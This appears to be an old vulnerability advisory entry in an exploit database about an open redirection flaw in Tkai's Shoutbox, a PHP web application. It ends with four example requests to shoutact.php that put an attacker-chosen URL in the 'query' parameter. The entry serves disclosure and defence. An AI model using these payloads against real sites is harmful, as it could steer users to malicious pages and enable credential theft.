Tkai's Shoutbox - 'Query' Open Redirection

Author: CorryL
type: webapps
platform: php
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date_added: 2005-03-28 
date_updated: 2013-05-08 
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source: https://www.securityfocus.com/bid/12914/info

Tkai's Shoutbox is reported prone to a remote URI redirection vulnerability.

It is reported that an attacker can exploit this issue by supplying the URI of a malicious site through the 'query' parameter of a link.

A successful attack may result in various attacks including theft of cookie based authentication credentials.

/shoutact.php?yousay=default&query=http://www.example.com

/shoutact.php?yousay=default&name=default&query=http://www.example.com

/shoutact.php?yousay=default&email=default&query=http://www.example.com

/shoutact.php?yousay=default&email=default&name=default&query=www.example.com